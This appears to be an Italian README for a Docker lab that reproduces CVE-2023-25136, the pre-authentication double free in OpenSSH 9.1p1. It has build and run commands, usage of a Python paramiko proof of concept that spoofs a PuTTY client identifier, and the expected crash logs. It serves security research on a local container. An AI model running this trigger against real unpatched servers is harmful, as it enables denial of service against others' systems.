
Ambiente di riproduzione minimale basato su Docker per la vulnerabilità double-free pre-autenticazione di OpenSSH 9.1p1 (CVE-2023-25136), che dimostra la corruzione della memoria e il denial-of-service tramite un client PoC Python.
Questo progetto fornisce un ambiente di laboratorio locale minimale per riprodurre la vulnerabilità di corruzione della memoria double free pre-autenticazione in OpenSSH 9.1p1 (CVE-2023-25136) e osservare l'effetto di crash del processo server (DoS).
Nota: le analisi ufficiali e quelle della maggior parte dei ricercatori ritengono che, con la configurazione di sicurezza predefinita, questa vulnerabilità sia "difficilmente sfruttabile per l'esecuzione remota di codice". Questo ambiente serve principalmente a dimostrare l'errore di memoria e l'effetto di denial of service.
Macchina vittima (Target):
sshd configurato--with-sandbox=no22, mappata sulla porta 2222 dell'host (WSL)Macchina attaccante (Attacker):
paramiko per eseguire il PoC, costruendo uno specifico identificativo client SSH e avviando un handshake pre-autenticazioneStruttura delle directory:
Dockerfile: crea l'immagine dell'ambiente vulnerabile con OpenSSH 9.1p1poc.py: client PoC minimale per innescare il double free nella fase di pre-autenticazionePrima di eseguire le operazioni seguenti in questa directory, assicurati di:
pipEsegui in questa directory:
docker build -t sshd-9.1p1-vuln .
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
Note:
--rm: rimuove automaticamente il contenitore alla sua uscita--name sshd-vuln: nome del contenitore-p 2222:22: mappa la porta 22 del contenitore sulla porta 2222 dell'hostdocker ps
Dovresti vedere un output simile a:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
Esegui in questa directory:
pip install paramiko
poc.py utilizza paramiko.Transport per stabilire attivamente una connessione con il server SSH di destinazione e, nella fase di pre-autenticazione, falsifica l'identificativo client nel tentativo di innescare il double free.
Caratteristiche principali:
127.0.0.1:2222 (cioè il contenitore Docker locale)SSH-2.0-PuTTY_Release_0.64-t/--target: IP di destinazione (predefinito 127.0.0.1)-p/--port: porta di destinazione (predefinita 2222)-c/--client-id: identificativo client SSH falsificato--timeout: timeout in secondi-v/--verbose: stampa messaggi di errore dettagliatiCon il contenitore sshd-vuln avviato, esegui in questa directory:
python3 poc.py
Oppure specificando esplicitamente i parametri:
python3 poc.py -t 127.0.0.1 -p 2222 -v
Esempio di output atteso dal client:
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
请在服务端 sshd 日志中查看是否出现 'free(): double free detected' 等信息,以确认是否触发 CVE-2023-25136。
Note:
Authentication failed o connection closed, poiché il processo figlio di pre-autenticazione del server potrebbe andare in crash o chiudere la connessione durante l'elaborazione.Dopo aver eseguito il PoC, sull'host visualizza i log del contenitore:
docker logs sshd-vuln
L'output atteso è simile a:
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
Dove:
Invalid user: poiché il PoC utilizza un nome utente vuoto, OpenSSH registra un tentativo di utente non validofree(): double free detected in tcache 2: glibc rileva il double free e termina il processo figlio sshd corrente; è esattamente il fenomeno di corruzione della memoria/DoS che questo esperimento intende osservareNota: per poter vedere questa riga, abbiamo disattivato la sandbox seccomp (con
--with-sandbox=no) durante la build di OpenSSH; altrimenti la sandbox potrebbe intercettare il comportamento anomalo prima del double free e terminare direttamente il processo figlio.
sshd continua a generare nuovi processi figli per le connessioni successive.